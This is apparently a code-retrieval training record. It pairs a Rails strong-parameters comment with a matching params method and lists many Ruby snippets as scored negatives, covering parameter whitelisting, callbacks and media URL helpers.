end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def embed_code_university_params params.require(:embed_code_university).permit(:acronym, :name, :comments, :test_user, :test_password, :test_site, :embed_code, :status) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Converts a media URL into the path we use in the archive.
def output_archive_path return if file.url.blank? file .url .sub(/https:\/\/v1\/pageflow/, '/output.scrollytelling.com/v1/main/pageflow') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def site_asset_media_path(src)\n rewrite_asset_path(DmCms::MediaUrlService.call(src))\n end", "def url_for_media( project, file )\n if (file)\n (file =~ /^(http:\\/\\/|mms:|\\/)/i ? file : url_for_project_directory( project ) + '/' + file )\n end\n end", "def mediaize_path(path, type)\n \"media:#{type}:\" + path\n end", "def site_asset_media_url(src)\n rewrite_asset_path(DmCms::MediaUrlService.call(src))\n end", "def media_path\n @media_path ||= Pathname.new(source_dir).join(data['media_path'] || './media').to_s\n end", "def remote_url_to_local url\n url.match /(#{config[:root_path]})(.+)$/\n file = $2\n basename = File.basename file\n basename.match(/(\\.\\w+)$/)\n mimetype = GET_MIME[$1].match(/(audio|video)/)[1]\n File.join(Rails.root,'public', mimetype.pluralize, file)\n end", "def archive_url_for(path)\n Addressable::URI.join(configuration.archive_url_base, '/contents/', path).to_s\n end", "def media_path_location\n return @media_path_location\n end", "def get_cta_media_url_or_original_url(cta, original_media_path)\n if original_media_path.nil? || cta.aux.nil? || cta.aux[\"aws_transcoding_media_status\"] != \"done\"\n cta.media_image.url\n else\n \"#{@original_media_path}#{cta.user_id}-#{cta.id}-media.mp4\"\n end\n end", "def get_url_path(path)\n ext = File.extname(path)\n \"/thumbnail/#{path.sub(ext, \".jpg\")}\"\n end", "def account_site_assets_media_url\n Account.current.url_base + account_site_assets_media(true)\n end", "def media_url\n if self.is_logo?\n self.structure.logo.url(:thumbnail_email_cropped)\n else\n media = Media.where(id: self.media_id).first\n return if media.nil?\n if media.type == 'Media::Video'\n media.thumbnail_url\n else\n media.image.url(:thumbnail_email_cropped)\n end\n end\n end", "def uri_to_file uri\r\n URI.decode(uri).sub(/^file\\:\\/\\//, '').sub(/^\\/([a-z]\\:)/i, '\\1')\r\n end", "def output_path\n File.join(Musako.destination_path, @url)\n end", "def add_from_url(media_entry, url)\n\t\t\tkparams = {}\n\t\t\t# Media entry metadata\n\t\t\tclient.add_param(kparams, 'mediaEntry', media_entry);\n\t\t\t# An HTTP or FTP URL\n\t\t\tclient.add_param(kparams, 'url', url);\n\t\t\tclient.queue_service_action_call('media', 'addFromUrl', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend", "def destination(dest)\n # The url needs to be unescaped in order to preserve the correct filename\n File.join(dest, CGI.unescape(full_url))\n end", "def url\n ::File.join \"/\", path.to_s\n end", "def path_to_url(path)\n URI.encode(path =~ %r{^https?://} ? path : \"http://#{aliyun_upload_host}/#{path}\")\n end", "def construct_output_url(destination:, file_input_url:, name_modifier:, file_suffix:)\n output = destination\n\n # MediaConvert operates such that if you give a destination ending in '/',\n # it'll use the original file name as part of output url.\n if output.end_with?('/')\n # \".*\" on the end will strip extension off\n output += File.basename(file_input_url, '.*')\n end\n\n output += name_modifier if name_modifier\n\n output += \".\" + file_suffix\n\n output\n end", "def url_file_path\n return @url_file_path if @url_file_path\n url_parts = url.match /\\A[^:]+:\\/*[^\\/]+\\/(?<path_portion>.*)/\n url_parts = url.match /\\A\\/?(?<path_portion>.*)/ unless url_parts\n @url_file_path = url_parts[:path_portion]\n end", "def share_media_url\n if share_representative_derivative\n url = share_representative_derivative.url(public: true)\n\n # Make sure it's absolute not relative, for /public files instead of S3\n parsed = Addressable::URI.parse(url)\n if parsed.relative?\n url = Addressable::URI.parse(main_app.root_url).join(parsed).to_s\n end\n\n url\n elsif work.is_oral_history?\n # if no representative, give em the generic OH thumb\n asset_url(\"scihist_oral_histories_thumb.jpg\")\n end\n end", "def uri_to_file(uri); end", "def uri_to_file(uri); end", "def media_video_processed_url\n if self.asset_type == TYPE[:media_video] && read_attribute(:processed).present? && self.processed == true\n self.file.url(:processed,false).gsub(/\\.[0-9a-zA-Z]+$/,\".mp4\")\n end\n end", "def retrieve_media_url(tweet)\n retrieve_media_element(tweet, 'media_url')\n end", "def media(url)\n append(Media.new(url))\n end", "def asset_path(kind, source = nil)\n kind, source = source, kind if source.nil?\n source = asset_normalize_extension(kind, escape_link(source.to_s))\n return source if source =~ ABSOLUTE_URL_PATTERN || source =~ /^\\//\n source = File.join(asset_folder_name(kind), source)\n timestamp = asset_timestamp(source)\n result_path = uri_root_path(source)\n \"#{result_path}#{timestamp}\"\n end", "def destination(dest)\n File.join(dest, CGI.unescape(self.url))\n end", "def file_name(url=nil)\n return @filename if(@filename)\n\n url ||= self.url\n url = url.split('?').shift\n \n parts = url.split('/')\n if(parts.last == '/')\n parts.pop\n end\n \n file = parts.pop\n \n if(!archive_type.nil? && file.match(/\\.#{archive_type.to_s}$/).nil?)\n file << \".#{archive_type.to_s}\"\n end\n \n return file\n end", "def photo_destination(naming_type, uri, dest_path, config)\n path = case naming_type\n when :short, :id\n File.join(dest_path, self.id.to_s + File.extname(uri.path))\n else\n File.join(dest_path, File.basename(uri.path))\n end\n config[:logger].debug {\"photo_destination(#{naming_type}, #{uri}, #{dest_path}) => #{path}\"}\n File.expand_path path\n end", "def extract_url(resource)\n rails_blob_path(resource, disposition: 'attachment', only_path: true)\n end", "def url\n return @url unless @url.nil?\n @url = destination.sub(::Webby.site.output_dir, '')\n end", "def url\n return nil unless @uploader.upyun_bucket_host\n\n [@uploader.upyun_bucket_host, @path].join(\"/\")\n end", "def sap_media_dir\n ::File.join(cache, 'sap_media')\n end", "def unit_url\n is_processed ?\n FileSystem.url(unit_path) :\n orig_image_url\n end", "def media_path_location=(value)\n @media_path_location = value\n end", "def filenameByUrl(url = \"\")\n filename = url.split('/')[-1]\n if ! filename\n return \"app_archive.unknown\"\n else\n return filename\n end\n end", "def url_for_video_player\n if VIDEOS_ON_S3\n \"http://wickedstartbucket.s3.amazonaws.com#{self.multimedia.url(:original, false)}\"\n else\n self.multimedia.url(:original, false)\n end\n end", "def path_for_url(dir, subdir, url)\n path = url.gsub(/^[|[:alpha:]]+:\\/\\//, '')\n path.gsub!(/^[.\\/]+/, '')\n path.gsub!(/[^-_.\\/[:alnum:]]/, '_')\n File.join(dir, subdir, path)\n end", "def create_media_path(path, type)\n folders = path.split('/')[1..-2]\n\n str = mediaize_path('', type) + '.'\n\n folders.each do |f|\n str = str + '/' + f\n\n unless $r.exists(str + '/')\n EzPub::MediaFolder.store(str + '/')\n end\n end\n end", "def thumb_path_for(format)\n \"#{Rails.root}/public#{thumb_url_for(format)}\"\n end", "def wikimedia_url(metadata)\n links = metadata.split(\"\\n\")\n @url = ''\n links.each do |meta|\n if meta.include?('archive_url:') and !meta.include?('old_archive_url:')\n @url = meta.split('archive_url:').last\n end\n end \n return @url\n end", "def dir\n if url.end_with?(\"/\")\n url\n else\n url_dir = File.dirname(url)\n url_dir.end_with?(\"/\") ? url_dir : \"#{url_dir}/\"\n end\n end", "def normalize_path(url); end", "def normalize_path(url); end", "def asset_path(kind, source)\n return source if source =~ /^http/\n asset_folder = case kind\n when :css then settings.css_dir\n when :js then settings.js_dir\n when :images then settings.images_dir\n else kind.to_s\n end\n source = source.to_s.gsub(/\\s/, '')\n ignore_extension = (kind == :images) # don't append extension\n source << \".#{kind}\" unless ignore_extension or source =~ /\\.#{kind}/\n result_path = source if source =~ %r{^/} # absolute path\n result_path ||= asset_url(source, asset_folder)\n timestamp = asset_timestamp(result_path)\n \"#{result_path}#{timestamp}\"\n end", "def target_asset_path(asset)\n File.join('public', asset.folder, asset.filename)\n end", "def original_asset_url(x)\n if x =~ ASSET\n # example: https://cdnb3.artstation.com/p/assets/images/images/003/716/071/large/aoi-ogata-hate-city.jpg?1476754974\n original_url = x.sub(%r!/(?:medium|small|large)/!, \"/original/\")\n\n if http_exists?(original_url, headers)\n return original_url\n end\n\n if x =~ /medium|small/\n large_url = x.sub(%r!/(?:medium|small)/!, \"/large/\")\n\n if http_exists?(large_url, headers)\n return large_url\n end\n end\n end\n\n return x\n end", "def image_url source\n source.delete_prefix!('/')\n\n if source.starts_with?('uploads')\n path_to_url source\n elsif !source.starts_with?('http')\n path_to_url asset_pack_path(\"media/images/#{source}\")\n else\n source\n end\n end", "def save_wiki_media( filename, url )\n path =\n if @media_dir.nil?\n filename\n else\n \"#{@media_dir}/#{filename}\"\n end\n save_wiki_body( path, url )\n end", "def thumburl\n thumb_path\n end", "def archive_path\n @archive_path ||= ''\n end", "def filename_from_url(mp3_url)\n File.basename(URI.parse(mp3_url).path)\n end", "def url\n URI.join(host, sitemaps_path.to_s, filename.to_s).to_s\n end", "def upload_media_url(media_url)\n tempfile = Tempfile.open([\"media\", File.extname(media_url)])\n\n open(media_url) do |input| # rubocop:disable Security/Open\n tempfile.write(input.read)\n end\n\n @client.upload_media(tempfile.path)\n ensure\n tempfile.close! if tempfile\n end", "def get_url_from_attachment(rally_attachment, filename)\r\n attachment_oid = rally_attachment[\"ObjectID\"].to_s\r\n return \"/slm/attachment/#{attachment_oid}/#{filename}\"\r\n end", "def get_local_path(url)\n path = url.sub(/^http\\:\\/\\/www\\.thoughtless\\.ca\\/dyn_img\\/[a-z0-9\\-]+\\//i, '')\n path.gsub('/', '-')\nend", "def url\n filepath.sub( %r{\\A#{Regexp.escape (Rails.root + \"public\").to_s}}, '').to_s\n end", "def account_site_assets_media(leading_slash = true)\n \"#{account_site_assets_uploads(leading_slash)}/media\"\n end", "def path\n file.url\n end", "def file_url(attachment_name, style=nil); file_path(attachment_name, style); end", "def media(source)\n if source.media? && source.media.count == 1\n source.media[0].media_url.to_s\n else\n nil\n end\n end", "def small_url(host=Smurl.host)\n custom_url = CustomUrl.last(smurl_id: id)\n link = custom_url.link if custom_url\n path = link || SmallUrl.encode62(id)\n\n relative = '/' + path\n if host\n host + relative\n else \n relative\n end\n end", "def file_by_url(url)\n return file_by_id(url_to_id(url))\n end", "def path\n (public_path + sitemaps_path + filename).expand_path.to_s\n end", "def asset_path(kind, source)\n return source if source =~ /^http/\n asset_folder = case kind\n when :css then css_dir\n when :js then js_dir\n when :images then images_dir\n else kind.to_s\n end\n source = source.to_s.gsub(/\\s/, '')\n ignore_extension = (kind == :images) # don't append extension\n source << \".#{kind}\" unless ignore_extension or source =~ /\\.#{kind}/\n result_path = source if source =~ %r{^/} # absolute path\n result_path ||= asset_url(source, asset_folder)\n \"#{result_path}\"\n end", "def path\n URI.parse(@url).path\n rescue URI::InvalidURIError # Invalid URLs will be added and caught when we try to navigate to them\n @url\n end", "def create_album_path(url)\r\n\t\t\t\t@album_path = url.split('/').last.gsub!(/-|mp3|songs|.html/,\"\").strip\r\n\t\t\t\tDir.mkdir @album_path unless File.exists?(@album_path)\r\n\t\t\tend", "def directory_path\n @directory_path ||= url_file_path.sub /([^\\/]*)\\z/, ''\n end", "def compose_url(url)\n abort \"Invalid URL: #{url}\" unless validate_url(url)\n\n query = {}\n query['map'] = 'true' if options['map']\n query['api_key'] = options['key'] if options['key']\n query['compression'] = options['compress'] if options['compress']\n\n uri = URI(url)\n uri.path = '/files'\n uri.query = URI.encode_www_form(query)\n uri.to_s\n end", "def file_url\n return nil if target_item.files.empty?\n target_item.files.last.uri.to_s\n end", "def get_asset(url)\n uri = URI.parse(url)\n\n unless File.exists?(File.join(['public', uri.path]))\n FileManager.new(['public', uri.path], Downloader.get(url, URI.decode_www_form(uri.query)), true).write!\n end\n\n replace_url(url, uri.path)\n end", "def store_dir\n # Change App.Models.Storybook#_parseAssetUrl() if following is changed\n \"videos/#{model.id}\"\n end", "def path\n URI.parse(@url).path\n end", "def get_file_uri_path(uri)\n uri.sub(%r{\\Afile://}, '')\n end", "def store_dir\n \"assets/media/#{model.class.to_s.underscore}/#{model.contest_attachment_group_id}/\"\n end", "def asset_path(source, extension = nil)\n return source if is_uri?(source)\n source = source.to_s\n source = rewrite_extension(source, extension)\n source = rewrite_asset(source)\n source = rewrite_asset_path(source)\n source = rewrite_asset_host(source)\n source\n end", "def thumbnail_url 